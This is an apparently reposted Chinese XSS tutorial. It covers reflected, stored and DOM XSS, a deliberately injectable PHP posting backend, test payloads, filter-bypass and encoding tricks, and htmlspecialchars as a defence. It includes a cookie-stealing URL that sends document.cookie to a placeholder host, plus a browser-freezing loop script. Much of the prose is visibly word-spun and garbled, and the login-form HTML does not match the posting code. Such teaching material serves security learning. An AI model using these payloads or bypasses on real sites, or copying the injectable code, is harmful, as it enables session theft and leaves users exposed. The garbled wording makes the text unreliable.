Web渗出之XSS注入
XSS的范例1、反射型XSS
我们构建好一个urlXSS的payload,发送给受害者,受害者点击恶意链接后会在受害者的浏览器上执行恶意代码。反射型XSS是一次性的,而且比较轻易被发现。通常恶意链接会被修改成短链接,或钓鱼图片的形式。
2、存储型XSS
存储型又叫永久性XSS,常见于留言板。因为存储型XSS的页面会将用户输入的内容存入到数据库内,以是当其他人每访问一次的时间,服务器都会从数据库将攻击者输入的内容调取到前端浏览器剖析,因此每一次访问就相当于一次XSS攻击。
3、DOM型XSS
不与服务器交互,本质上也是一种反射型XSS。主要利用js利用dom对前端html进行操作时间产生的漏洞。DOM型XSS的难点就在于通过阅读JavaScript来确定输出的位置,才好构建输入的payload。
DOM型XSS可通过开辟者工具观察js变革
XSS的危害
(1) 网页挂马,利用浏览器挖等:https://www.sohu.com/a/233384944354899
(2) 偷取用户Coolie并饰演用户角色。
(3) DOS(拒绝服务) 客户端浏览器。
(4) 钓鱼攻击,高级的钓鱼本事。
(5) 删除目标文章、恶意篡改数据、嫁祸。
(6) 挟制用户用户Web行为,甚至进一步渗出内网。
(7) 发作Web 2.0蠕虫 :https://www.cnblogs.com/jason-jiang/articles/607070.html
(8) 蠕虫式的DDoS攻击。
(9) 蠕虫式挂马攻击、刷广告、刷流量,破坏网上数据。
一言以蔽之,具体要实现何种危害,完全取决于你的JavaScript代码执行何种功能
构建XSS漏洞情况
一、PHP的发帖功能
1、前端页面
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatiable" content="IE=edge">
<meta name="viewport" content="width=device-width,initial-sacle=1.0">
<title>登录蜗牛笔记</title>
<style>
div_x{
width: 300px;
height: 40px;
border: solid 1px rgb(204, 83, 144);
margin: auto;
}
.login{
width: 350px;
height: 50px;
border: solid 0px red;
margin: auto;
text-align: center;
}
.footer{
width: 500px;
height: 50px;
border: solid 0px blue;
margin: auto;
text-align: center;
}
.top-100{
margin: 100px;
}
.font-30{
font-size: 30px;
}
input{
width: 300px;
height: 35px;
text-align: center;
border-radius: 5px;
}
input{
width: 200px;
}
button{
width: 310px;
height: 40px;
background-color: dodgerblue;
color: whitesmoke;
border-radius: 5px;
}
</style>
</head>
<body style="background-image: url(./image/1.JPG); background-size: cover;">
<div class="login top-100 font-30">登录</div>
<form action="login.php" method="get">
<div class="login">
<input type="text" name="username" />
</div>
<div class="login">
<input type="password" name="password">
</div>
<div class="login">
<input type="text" name="vcode" />
<img src="vcode.php"/>
</div>
<div class="login">
<button type="submit">登录</button>
</div>
</form>
<div class="footer top-100">版权归我所有</div>
</body>
</html> 2、后台代码
<?php
include "common.php";//引入公共函数库
// 获取前端提交的数据和session变量
$headline = $_POST['headline'];
$content = $_POST['content'];
$author = $_SESSION['username'];
// 将文章数据插入数据库,并根据运行结果输出成功与否的标志
$conn = create_connection_oop();
$sql = "insert into learn3(author,headline,content,viewcount,creattime)
values('$author','$headline','$content',1,now())";
$conn->query($sql) or die('add-fail');
echo "add-success";
?> 3、发帖试探
<img src="./image/1.JPG" onclick="location.href=\'http://woniuxy.com\'" />
//由于该漏洞环境没有完善单引号,所以我们将需转入网站的单引号进行转义
<script>
var result = 1;
while (true) {
result--;
}
</script>
该js代码是一个死循环,进行查看的时候会消耗我们的CPU,该例子就不做演示了
<button onclick="alert(document.cookie)">点我有惊喜</button> https://i-blog.csdnimg.cn/direct/86103fc5129b4249b9f9e792a63c2356.png
https://i-blog.csdnimg.cn/direct/2ccb3743c00f4c979c92643aa5ee3fb0.png
https://i-blog.csdnimg.cn/direct/2b302f389c5f4b16863664cabd201d6a.png
XSS攻防与绕过
XSS的攻击与防御
1、XSS利用方式
(1)获取用户Cookie,实现越权,如果是获取网站管理员的Cookie,也可以叫提权。注意一下尽快注销账号,删除Session,让Session失效
(2)钓鱼网站,模拟真实的网站的登录页面,获取用户信息(用户名密码等),再跳转到真实网站
(3)执行JS代码,用于DDOS攻击别的目标站点,在站点A上植入XSS代码,向站点B发起哀求,当用户量大的时间,实现了DDOS攻击
(4)恶意链接让用户点击,或者直接将网页植入到站点的<iframe>标签中
www.woniux.com/security.textxss.php?content=<script>location.href="http://xxx.com/xss.php?cookie="+document.cookie;</script> 将上述代码以短网址的方式发送,用户点击短网址再进行访问
(5)当用户点击并访问到恶意站点:<a href="http://xxxx.com/xss.html">,在xss.html的网页中,可以执行JS代码,一方面提供正常的网站功能,另外一方面隐蔽着DOS或挖矿代码,让用户浏览器执行
2、测试方法
(1)反射性XSS测试的时间,可以利用扫描器,或者burp进行fuzz
(2)存储型XSS测试的时间,可以直接把字典中的payload都塞进去,根据弹窗的编号,就知道是哪个。但这个轻易被发现,以是可以先试探一下特殊符号是否被过滤
(3)DOM型XSS测试,主要以阅读js代码为主,在页面上找到输入点的相关dom节点,在开辟者选项中搜索一下,根据搜索结果去看是否被相关的JS操作,如果有js的操作,就去看我们的输入操作后输出在哪个地方,就按照通例的XSS思路进行构建
扫描器,要么直接对一个URL所在进行XSS的Payload攻击,确认该URL所在在哪些Payload上存在XSS,另外一个思路是对整个网站利用爬虫本领先爬取URL所在,然后再批量处理。
3、防御本领
(1)做实体字符编码,htmlspecialchars(),函数功能就是把特殊符号,比如尖括号,引号转换成实体编码,这样就不会在输入的地方去干扰页面源代码。经过实体字符编码后,用户输入的特殊符号在源代码中就酿成编码,但是在页面输出的时间,照旧会显示成原来的样子。当输出位置在元素内容内里,并且被实体编码后,基本上就没有XSS的可能了。
http://localhost/security/testxss.php?content=<script>alert(1)</script>
$content = htmlspecialchars($_GET['content']); https://i-blog.csdnimg.cn/direct/3d2f9eda11964811aa314a47577ac217.png
http://localhost/security/testxss.php?content=Hello" onclick="alter(1)
$content = htmlspecialchars($_GET['content']); https://i-blog.csdnimg.cn/direct/e738e7af9c194c9e984b1ef794f64581.png
https://i-blog.csdnimg.cn/direct/399a316e47434cf4baeaf90266f86d3a.png
(2)正则表达式或字符串判定
实体字符编码如果输出在事件属性中,照旧有可能存在绕过的可能性。比如在a标签中,<a href=javascript:alert(1)>,这种形式,没有尖括号也没有引号,就有可能被绕过。如果存在类似这种的情况,需要在链接属性中加上http://或https://的正则表达式来限制。
XSS的绕过方式
1、绕过过滤
(1)前端限制,直接用F12开辟者选项修改js或HTML代码即可,或者用burpsuite绕过
(2)字符过滤,双写(onclick ononclickclick),大小写绕过(ONClick),通过解释符绕过(//,/**/),也可以通过换行符绕过(%0A,%0D)
(3)HTML实体转移
字符实体是用一个编号写入HTML代码中来代替一个字符,在利用浏览器访问网页时会将这个编号剖析还原为字符以供阅读
javascript:alert("Hello Woniu")编码为:
十六进制:
6A006100760061007300630072006900700074003A0061006C0065007200740028002200480065006C006C006F00200057006F006E006900750022002900
十进制:ASCII->UNICODE
javascri
pt:alert
("Hello W
oniu") 2、绕过编码
明确浏览器剖析的机制,明确机制后,选择对应的编码
3、其他本事
(1)输出在标签间的情况:测试<>是否被过滤或转义,若无则直接<img src=1 οnerrοr=alert(1)>
(2)输出在script标签内:我们需要在包管内部JS语法准确的条件下,去插入我们的payload。如果我们的输出在字符串内部,测试字符串可否被闭合。如果我们无法闭合包裹字符串的引号,这个点就很难利用了。可能的解决方案:可以控制两处输入且\可用、存在宽字节
(3)输出在HTML属性内:起首查看属性是否有双引号包裹、没有则直接添加新的事件属性;有双引号包裹则测试双引号是否可用,可用则闭合属性之后添加新的事件属性;TIP:HTML的属性,如果被进行HTML实体编码(形如''),那么HTML会对其进行自动解码,从而我们可以在属性里以HTML实体编码的方式引入恣意字符,从而方便我们在事件属性里以JS的方式构造payload。
(4)输出在JS中,空格被过滤:利用/**/代替空格,或者在XSS代码后对其代码进行解释。
(5)输出在JS解释中:想法插入%0A,%0D等,使其逃逸出来。
(6)输出在JS字符串内:可以利用JS的十六进制、八进制、unicode编码。
(7)输出在src/href/action等属性内:可以利用javascript:alert(1),以及data:text/html;base64;加上base64编码后的HTML。
(8)当我们的XSSpayload位于这些标签中心时,并不会剖析,除非我们把它们闭合掉。
<textarea></textarea>
<title></title>
<iframe></iframe>
<noscript></noscript>
<noframes></noframes>
<xmp></xmp>
<plaintext></plaintext>
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]